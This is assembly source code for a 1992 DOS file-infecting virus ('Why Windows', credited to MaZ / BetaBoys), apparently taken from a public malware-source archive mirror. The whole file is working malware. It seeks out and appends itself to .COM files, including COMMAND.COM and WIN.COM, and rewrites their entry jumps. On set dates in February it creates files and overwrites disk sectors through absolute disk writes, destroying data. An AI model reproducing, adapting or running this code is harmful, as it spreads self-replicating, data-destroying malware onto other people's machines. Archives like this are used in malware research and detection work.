mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
222 lines
3.1 KiB
NASM
222 lines
3.1 KiB
NASM
seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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ww proc far
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start:
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jmp loc_2
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db 12 dup (90h)
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db 0CDh, 20h
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loc_2:
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jmp short loc_3
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db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
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db 00h, 00h
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data_8 db 'C:\Command.Com', 0
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db 'C:\Autoexec.Bat', 0
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db 'C:\Config.Sys', 0
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db '\win'
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data_12 dw 6F64h
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db 'ws\win.com'
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db 00h,0E9h, 0Eh, 00h, 90h,0C8h
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db 01h
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loc_3:
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mov bx,101h
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mov ah,[bx]
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mov bx,102h
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mov al,[bx]
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xchg al,ah
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add ax,3
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mov si,ax
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mov ah,1Ah
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lea dx,[si+2C8h]
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add dx,6
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int 21h
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mov ah,4Eh
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lea dx,[si+103h]
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mov cx,6
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int 21h
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cmp ax,12h
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je loc_7
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lea dx,[si+10Ah]
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jmp short loc_6
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db 90h
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loc_5:
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mov ah,4Dh
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int 21h
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mov ah,4Fh
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int 21h
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cmp ax,12h
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je loc_7
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lea dx,[si+2C8h]
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add dx,24h
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loc_6:
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mov ah,3Dh
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mov al,2
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int 21h
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mov bx,ax
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mov ah,42h
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mov al,2
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mov dx,0
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mov cx,0
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int 21h
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push ax
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sub ax,6
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mov dx,ax
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mov ah,42h
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mov al,0
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mov cx,0
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int 21h
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mov ah,3Fh
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mov cx,1
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lea dx,[si+14Bh]
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int 21h
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mov ah,byte ptr data_8+30h[si]
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cmp ah,42h
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jne loc_8
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jmp short loc_5
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loc_7:
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jmp short loc_9
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db 90h
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loc_8:
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mov ah,42h
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mov al,0
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mov dx,0
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mov cx,0
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int 21h
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mov ax,3F00h
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mov cx,3
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lea dx,[si+2C8h]
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add dx,3
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int 21h
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mov ax,4200h
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mov dx,0
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mov cx,0
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int 21h
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pop ax
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sub ax,3
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mov byte ptr data_8+2Eh[si],al
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mov byte ptr data_8+2Fh[si],ah
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mov ah,40h
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mov cx,3
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lea dx,[si+148h]
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int 21h
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mov ax,4202h
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mov dx,0
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mov cx,0
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int 21h
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mov ah,40h
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lea dx,[si+100h]
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mov cx,data_12[si]
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int 21h
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mov ax,4000h
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lea dx,[si+2C8h]
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add dx,3
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mov cx,3
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int 21h
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jmp short loc_9
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db 90h
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loc_9:
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mov ah,3Eh
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int 21h
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mov ah,41h
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lea dx,[si+137h]
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int 21h
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mov ah,2Ah
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int 21h
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cmp dh,2
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jne loc_14
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cmp dl,17h
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je loc_10
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cmp dl,18h
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je loc_11
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cmp dl,19h
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je loc_12
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jmp short loc_14
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db 90h
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loc_10:
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mov ah,3Ch
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lea dx,[si+119h]
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mov cx,1
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int 21h
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jmp short loc_14
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db 90h
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loc_11:
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mov ah,3Ch
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lea dx,[si+129h]
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mov cx,1
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int 21h
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jmp short loc_14
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db 90h
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loc_12:
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mov al,2
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loc_13:
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mov cx,96h
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mov dx,0
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int 26h
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inc al
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cmp al,4
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jne loc_13
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loc_14:
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mov cx,3
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lea ax,[si+2C8h]
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mov si,ax
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mov di,100h
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rep movsb
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call sub_1
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int 20h
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ww endp
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sub_1 proc near
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mov di,offset start
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jmp di
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db 'Why Windows '
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copyright db '(c)1992 MaZ / BetaBoys B.B'
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db 90h, 90h, 90h
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sub_1 endp
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seg_a ends
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end start
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